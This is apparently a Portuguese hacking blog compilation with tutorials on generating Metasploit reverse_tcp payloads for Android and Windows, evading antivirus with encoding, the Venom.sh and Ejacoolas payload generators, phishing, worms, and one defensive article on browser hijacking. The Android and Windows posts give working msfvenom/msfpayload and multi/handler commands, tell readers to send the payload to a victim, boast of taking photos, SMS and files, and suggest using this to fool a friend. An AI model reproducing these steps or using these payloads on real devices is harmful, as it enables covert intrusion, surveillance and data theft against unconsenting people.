[Venom.sh] - Criação de ShellCode

 =============================================================

Iae galera, hoje irei mostrar a ferramenta Venom.SH, que foi criada em shell script pelo PedroUbuntu.

                 

      (Por Jonatas Fil)                         

Name: VENOM - shellcode generator 1.0.8
Link: http://sourceforge.net/p/crisp-shellcode-generator/wiki/Home/
Author: peterubuntu10@sourceforge.net [ r00t-3xp10it ]
HomePage: http://sourceforge.net/u/peterubuntu10/profile/
Suspicious-Shell-Activity (SSA) RedTeam develop @2016
================================================================================

[COMO FUNCIONA O VENOM.SH]

O script usará o msfvenom (metasploit) para gerar shellcode
em formatos diferentes (c | python | ruby | dll | msi | hta-PSH)
Introduzindo o shellcode gerado em uma função (exemplo: python)
"a função do órgão python irá executar o shellcode na RAM" e uso de
compiladores como: gcc (compilador gnu) ou mingw32 ou pyinstaller
para construir o arquivo executável, também inicia um multi-manipulador para receber
a conexão remota (shell inversa ou sessão meterpreter).
.
O gerador de shellcode "A ferramenta reproduz algumas das técnicas utilizadas
por ferramentas como Veil-Evasion, unicorn.py, powersploit, etc, etc, etc ..
=================================================================================
                             
Vídeo:

        

Hijacking: Explicações [Vídeo+Artigo]

Fala ae galera hoje venho aqui trazer um vídeo+artigo, sobre o termo Hijacking.

Porquê eu escolhi esse termo ?

Eu achei bem interessante está tecnica, e achei que  muitos não conhecem, entãor esolvi trazer um vídeo explicando, usei fontes boas e seguras, desculpem este foi um dos meus primeiros vídeos narrando.

Veja agora dicas de comos e proteger, como remover, como funciona:

 

 

 

                                           ARTIGO:

Oque é hijacking ?

é um sequestro de sessão.

Existem muitos Malwares. spywares e outros, um destes terríveis invasores se chama hijack.
O hijacking vem da palavra "hijacker" vem de "sequestro,sequestradores", o sentido real
do termo hijack é isso mesmo

Como funciona ?

Estes programas entram em seu computador sem você perceber,
utilizando controles ActiveX e brechas na segurança.
Assim, modificam o registro do Windows
 “seqüestrando” o seu navegador e modificando a página inicial dele.
Depois aparecem novas barras e botões, e páginas abrem sem parar na tela,
contra a sua vontade.

Por quê ?

Todas estas coisas que são alteradas em seu navegador normalmente linkam
 para publicidade e,na maioria das vezes, têm inclusive pornografia envolvida.
E quem sai ganhando com esta invasão em seu PC é o desenvolvedor deste Hijack,
já que ele é pago por cada vez que estas páginas com publicidade são abertas.

Removendo e evitando: 

E é claro que eles são “grudentos”,
pois dificilmente você consegue remover alguns deles.
Como evitar ou acabar com eles?

Uma dica muito boa para evitar, é entrar em sites seguros, habilitar o pop-ups.

 1º) Sugestão da própria Microsoft, é a utilização da Ferramenta de Remoção de Software Mal-intencionado, que pode ajudar a detectar alguns tipos de software de sequestro, mas não todos;

2º) Os programas mais recomendados são o Malwarebytes Anti-Malware e o ADW Cleaner (download também possível aqui), que são programas grátis.
Após fazer o download e instalar o software em sua máquina, execute os programas e faça uma limpeza completa na máquina, lembrando-se de fechar os navegadores em execução.

Para evitar irei deixar um link do tecmundo com dicas para ver se o site é confiavél,
e tutoriais para remover.

Fonte:

http://www.tecmundo.com.br/spyware/212-o-que-e-hijack-.htm
http://www.tecmundo.com.br/seguranca/1194-10-dicas-para-descobrir-se-um-site-e-confiavel.htm?utm_source=SaibaMais&utm_medium=TecMundo
http://www.emersonwendt.com.br/2014/03/o-que-sao-como-se-prevenir-e-como.html
https://en.wikipedia.org/wiki/Hijacking
https://securitcrs.wordpress.com/hacking/10-session-hijacking/
http://andeons.com/paginas-falsas-de-banco-cuidado-voce-esta-sendo-vitima-de-golpe/
https://www.owasp.org/index.php/Session_hijacking_attack

Metasploit: invadindo sistema Android ( reverse_tcp ) com [Msfvenon]/[Msfpayload]

Ae galera, hoje eu fiz minha primeira invasao no Android utilizando o Metasploit.

Foi simples, primeiro criei um payload usando o modulo meterpreter/reverse_tcp.

apos isto eu mandei o payload para vitima no caso meu celular.

apos isto eu iniciei o exploit.

exploit/multi/handler

setei o payload que usei ( android/meterpreter/reverse_tcp )

configurei a porta e o IP local, e dei um exploit, apos isto foi so a vitima abrir o payload, e BOMBA, a sessao abriu utilizando o meterpreter.

Com ele ativo, consegui tirar fotos, capturar fotos, SMS, execuçao de programas, baixar arquivos.

Fantastico, voce que quer engana um amigo seu segue a dica ;)

comandos que eu uitlizei:

msfvenon or msfpayload -p android/meterpreter/reverse_tcp LHOST=seuip LPORT=4444(DEFAULT) R > nome do aquivo.apk

 

ele vai estar no diretorio principal, de um "ls".

apos isto mande o payload para vitima.

abra o MSFCONSOLE.

comandos:

use exploit/multi/handler

set PAYLOAD android/meterpreter/reverse_tcp

agora configure sua LHOST dnv

set LHOST seuip

apos isto de um "exploit"

Quando a vitima abrir seu payload ira abrir a sessao e ae voce da um help, e agora so brincar com seu amigo >:D

 

fotos:

 

 

Phishing

Iae galera, hoje vim mostrar uma apostila para novatos que criei pelo pedido do Alexandre.

Tema: Phishing.

Nela contem;


Oque seria phising ?;

Como se prevenir ?;

Metodos;

Pratica ;

Qualquer erro me desculpe.

Lançarei uma video-aula de phishing para ajudar voces na pratica.



Download  ( Ela foi criada no Linux, mude a extensao ou baixe um leitor. )

Criada por: Jonatas Rockefeller.

Metasploit: criando payload indetectavel.

Ola a todos, hoje vou mostrar um tutorial de como criar um payload indetectavel.
( So para avisar este tutorial foi baseado em outro "https://pentestlab.wordpress.com/2012/04/16/creating-an-undetectable-backdoor/")

Criando Payload e encodando.

Executando o Exploit.

Quando a vitima acessar o payload vai abrir o meterpreter.

Comandos:

msfpayload windows/meterpreter/reverse_tcp LHOST=[IP LOCAL] LPORT=4555 R| msfencode -e x86/shikata_ga_nai -t raw -a x86 -b '\x00\x0a\x0d' -c 1 X> /diretorio/aquivo.bin,exe,jpg

use exploit/multi/handler      [exploit]
set PAYLOAD windows/meterpreter/reverse_tcp   [payload]
set LHOST              [Ip Local]
exploit      

Explicaçoes:

Oque seria um payload ?



Oque seria MSFencode ?

msfencode – um codificador interactivo de payload encoder


Oque seria o Meterpreter ?

Editado por: Jonatas Rockefeller

Worm: Oque seria ?, Como funciona? e um exemplo em C

Ola a todos, hoje irei mostrar uma mini-apostila em PDF, dando uma basica explicaçao sobre o termo "WORM"

Na apostila vai estar a source do worm em C

Download

Confira o Video:

Ejacoolas: criando payload em java.

Iae galera, nesta vez irei mostrar um script muito util.

ele se chama Ejacoolas, ele cria um payload que usa o modulo reverse_tcp

Primeiro abra ele.

Apos abri-lo, iremos digitar o nome do payload:

Agora aperte ENTER, mais se ele nao identificar, voces coloquem o IP local de voces:

Agora vamos selecionar a porta, no caso a default.

Apos isto o programa ira gerar o payload, voce tera que mandar o paylaod para alguma vitima, quando ela abrir voce tera alguns privilegios sobre a maquina da vitima.

Download

Feito por: Jonatas Rockefeller.